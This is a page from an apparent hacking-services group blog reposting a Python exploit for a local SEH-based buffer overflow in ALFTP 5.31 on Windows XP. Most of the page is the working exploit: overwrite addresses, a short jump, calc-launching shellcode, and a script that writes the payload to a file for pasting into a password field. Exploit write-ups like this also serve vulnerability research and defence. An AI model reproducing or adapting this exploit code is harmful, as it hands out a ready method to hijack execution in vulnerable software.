Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108004

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ALFTP 5.31 - Local Buffer Overflow (SEH Bypass)        
# Exploit Author: Gokul Babu                  
# Vendor Homepage: http://www.altools.com/downloads/alftp.aspx                    
# Vulnerable Software: http://advert.estsoft.com/?event=201001127730323               
# Tested on: Windows XP Professional SP3 -Version-2002                    
# Steps to reproduce-1: (eip overwrite-88-windows-XP)
# Paste the contents of alftp.txt in 'options->Preference->Security->New password &Confirm password' 

#seh- 0041A6EF "\xEF\xA6\x41"
#address to jump 0012FA7A
#nseh- "\xEB\xAC\x90\x90"
#winexec address 0x7c862aed

#!/usr/bin/python

shellcode=("\x33\xC0"
"\x50"
"\x68\x63\x61\x6C\x63"
"\x8B\xC4"
"\x50"
"\xE8\x61\x30\x73\x7C")

buf="\x90"*4 + shellcode + "\x90"*(80-len(shellcode)) + "\xEB\xAC\x90\x90" + "\xEF\xA6\x41"

f=open("alftp.txt","w")
f.write(buf)
f.close()